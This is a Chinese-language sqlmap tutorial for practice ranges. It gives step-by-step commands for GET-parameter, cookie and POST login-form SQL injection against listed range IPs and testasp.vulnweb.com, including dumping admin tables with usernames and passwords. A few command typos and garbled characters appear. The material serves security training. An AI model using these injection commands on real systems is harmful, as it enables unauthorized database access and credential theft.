0x00 sqlmap簡介
Sqlmap的7種等級:
常用–leve 3
0x01 mysql數據庫的注入
靶場地址:http://59.63.200.79:8003
查看數據庫名
sqlmap -u "http://59.63.200.79:8003/?id=1" --dbs
查看錶
sqlmap -u "http://59.63.200.79:8003/?id=1" -D maoshe --tables
查看列
sqlmap -u "http://59.63.200.79:8003/?id=1" -D maoshe -T admin --columns
查看字段
sqlmap -u "http://59.63.200.79:8003/?id=1" -D maoshe -T admin -C "Id,username,password" --dump
0x02 COOKIE注入
靶場地址:http://117.167.136.245:10181/
查看錶
sqlmap -u "http://117.167.136.245:10181/shownews.asp" --cookie "id=170" --table --level 2
查看列
sqlmap -u "http://117.167.136.245:10181/shownews.asp" --cookie "id=170" -T admin --columns --level 2
查看字段
sqlmap -u "http://117.167.136.245:10181/shownews.asp" --cookie "id=170" -T admin -C "user,content,flag,id,password,title,username" --level 2 --dump
0x03 POST登錄框注入
靶場地址:
http://testasp.vulnweb.com/Login.asp
方法一:
1.點擊login表單的submit按鈕時用burp抓包
2.將攔截到的post請求存爲txt, 放至sqlmap目錄下
3.運行sqlmap並使用如下命令
sqlmap -r “search-test.txt” -p tfUPass
-r :讓sqlmap加載我們的post請求rsearch-test.txt
-p :指定注入用的參數
查數據庫
sqlmap -r "search-test.txt" -p tfUPass --dbs
查表
sqlmap -r "search-test.txt" -p tfUPass-D fendo --tables
查字段
sqlmap -r "search-test.txt" -p tfUPass-D fendo -T user --columns
方法二:
自動搜索
sqlmap -u "http://testasp.vulnweb.com/Login.asp" --forms
注意:
以下兩個問題輸入N其他均爲Y。
for the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values? [Y/n]
對於剩餘的測試,您想要包括所有針對“MySQL”擴展提供的級別(1)和風險(1)值的測試嗎?[Y/n]
輸入"N"
POST parameter ‘n’ is vulnerable. Do you want to keep testing the others (if any)? [y/N]
POST參數’n’是脆弱的。 你想繼續測試其他人(如果有的話)嗎?[y/N]
輸入"N"
方法三:
指定參數搜索
sqlmap -u "http://testasp.vulnweb.com/Login.asp" --data "tfUName=321&tfUPass=321"
總結:
當post的body形式爲:
param1=value1¶m2=value2…使用方法一
hhhhh使用方法三